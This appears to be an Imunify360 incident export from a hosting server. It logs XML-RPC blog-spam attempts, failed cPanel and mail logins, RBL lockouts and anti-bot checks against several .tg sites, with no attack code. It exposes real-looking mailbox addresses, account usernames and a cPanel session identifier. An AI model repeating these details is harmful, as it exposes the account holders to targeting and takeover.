name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:21:43:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854046&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781991804 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e81b892e8e3da503f28b972c61f887aa02d0343c||Title:ixf8vin89e59wp5||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.165.33.216
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/07/image-7.png 983w, http:/togodailynews.tg/wp-content/uploads/2024/07/image-7-300x167.png 300w, http:/togodailynews.tg/wp-content/uploads/2024/07/image-7-768x428.png 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.68
country_id: 298795
description:
Jun 20 21:45:06 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.68 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2757d35e2b19df556856df9b2be5b60141b7717a||Title:q6zjziumprjynx||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.21.85
country_id: 2921044
description:
[2026-06-20 21:46:21 +0000] info [whostmgrd] 195.63.21.85 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e9387d1f89018ba98c70dd0eee6760684c943a09||Title:b24lwq060k6fash9zj||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.70.151.253
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/02/faeij.jpg 600w, http:/togodailynews.tg/wp-content/uploads/2025/02/faeij-300x208.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ec30dc6d6bbe74cc3b542371abeddbac807298ee||Title:ts88s01vrx9z5pi1i||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.251.248
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-48.45.140.251.248||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.248.112
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-48.45.140.248.112||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6808670237d4a67763984c87e582572b1aa31223||Title:u06crvlinte9bex||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.250.60
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-47.45.140.250.60||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fe94109101be6829a8be1315f226bc19e89df13e||Title:0p366857skiywpx||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.84.62.119
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-une-adjudication-reussie-la-confiance-des-investisseurs-confirmee/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.84.62.119
country_id: 3865483
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-une-adjudication-reussie-la-confiance-des-investisseurs-confirmee/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 20 21:50:08 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.203.220.178
country_id: 732800
description:
Jun 20 21:49:28 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.203.220.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.155.116.155
country_id: 6252001
description:
Jun 20 21:49:30 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.155.116.155 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.140.251.141
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:45.140.251.141||TA:45.140.251.141||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.202.237
country_id: 2413451
description:
Jun 20 21:49:55 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.202.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9c12af7873d3b144f22c64bd3450e69c5b86cb24||Title:kvcy5xhp30hrt2q||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.52.205.140
country_id: 1605651
description:
Jun 20 21:50:47 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.52.205.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.228.155
country_id: 1835841
description:
Jun 20 21:51:02 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.228.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f8874e85b7d50ef29316c9866e097a11eb3b8c37||Title:v574hz2owqnrddw||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.47.85.4
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/70776d HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.187.205.163
country_id: 99237
description:
185.187.205.163 - - [20/Jun/2026:21:50:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182182&pdata=https%253A%252F%252Fcfpj.tg%252Fcnrw-73792sitems%252Fetidm81ec.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781992233 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/cnrw-73792sitems/etidm81ec.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.187.205.163


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.76.106.13
country_id: 6252001
description:
Jun 20 21:51:30 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.76.106.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 20 21:51:57 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2f4f03ee1d72a43db7f9a474e43c40d5a7da3be0||Title:d91rtz8r2wvof2jx||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:38d867f93461be878b3a1b3e80f2d0931fd51700||Title:cebuhjo54u4nv9z4r6||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4c9c0b6c963ebea3d55beaf9e1b08905a12febf2||Title:ix92v980i5l6d4ul2||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:54:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:54:19 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c98bf1b716aafb2d785fd054dc7d206847548875||Title:zs3chlz8cjr4dmzo56||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:02512b63b64102621bfcc9725afac174073596c5||Title:r5fm8b7kh8hgiln||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.5.69.12
country_id: 3585968
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/02/photo-electricite-3.webp 600w, http:/togodailynews.tg/wp-content/uploads/2026/02/photo-electricite-3-300x191.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.61.213
country_id: 1562822
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/locations HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0939e226944e3592b95fa0ef16a7cafc9c14df33||Title:30u7yazbdr7rix83c||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:21:58:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987439&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781992699 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d4ad673cdd1e3a64fcddd5e1f59915b5562667ea||Title:9xryf554mhcfc2w||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-20 21:58:02 dovecot_plain authenticator failed for H=([192.168.1.72]) [102.64.164.199]:10968: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:21:57:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065096&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781992649 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:57:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146003&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781992648 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:21:58:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711955&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781992699 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.1
country_id: 1733045
description:
2026-06-20 21:59:08 dovecot_login authenticator failed for H=(202-142-151-234.signin.com.pk) [49.125.201.1]:44140: 535 Incorrect authentication data (set_id=collectetvabackend@otr.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8a0bf78a646fa1e808ce92764608cfd1e9294a36||Title:nfzxnvz5fmd3rc3qw||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:58:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777238&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781992715 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9ce1a302cc8486f92b79c03de37d5f006dfb8457||Title:ks12nwl3ptg8axse70||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5bb107c1943fe81565f393101816525a565ceb50||Title:4xc2dzrnnx8g61x||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 20 22:00:37 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e2f1b388697248abec7b6fe368844fbf116a4ee1||Title:ih3ncwux4z8nse9tn||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jun 20 22:01:52 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.95.194
country_id: 6252001
description:
[2026-06-20 22:01:58 +0000] info [cpaneld] 82.40.95.194 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4e2d3ca786b2051fed6f61d059493e1d9d282dbf||Title:b7q4cxqvvo5stue||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.117.106
country_id: 6252001
description:
[2026-06-20 22:02:37 +0000] info [cpaneld] 82.40.117.106 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7e1ec5490f10daa9ff0ac40834d9bd532b077a73||Title:g6mh1xegsmd73ie4tj||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 20 22:04:49 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0436f13e0c2d6d49d646df03ac9d92a663ba41df||Title:5v15zop10g2xsbe||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d1d5d5843680e1ca1d9bdf3ebcb24e77494ef61a||Title:fbylwjtoxuktxp5y6||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4406e1859f760672987ae524e161af64c07acdae||Title:uyplbd2ppv03tply||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:07:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:07:42 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.92
country_id: 1880251
description:
47.128.121.92 - - [20/Jun/2026:22:09:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7260310&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fsociete%252Fpage%252F112%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781993352 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/societe/page/112/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.92


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.175.233.15
country_id: 2921044
description:
Jun 20 22:10:14 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.175.233.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.175.233.15
country_id: 2921044
description:
2026-06-20 22:10:16 dovecot_plain authenticator failed for H=(kl3wtj5fvzzd2uts86odql3ijswayz3s) [5.175.233.15]:33498: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.81
country_id: 1880251
description:
47.128.121.81 - - [20/Jun/2026:22:10:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711241&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Factualites%252Fpage%252F14%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781993422 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/actualites/page/14/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.81


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 46.8.106.140
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:2695061379041865||Email:sjhhgusz@polosmail.com||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-20 22:12:03 dovecot_plain authenticator failed for H=([192.168.1.72]) [102.64.164.199]:12521: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.98
country_id: 6252001
description:
[2026-06-20 22:12:09 +0000] info [cpaneld] 107.174.169.98 NEW tgkkwsvr:wK_I4DJyZ0P0FL6e address=107.174.169.98,app=cpaneld,creator=tgkkwsvr,method=handle_form_login,path=form,possessed=0


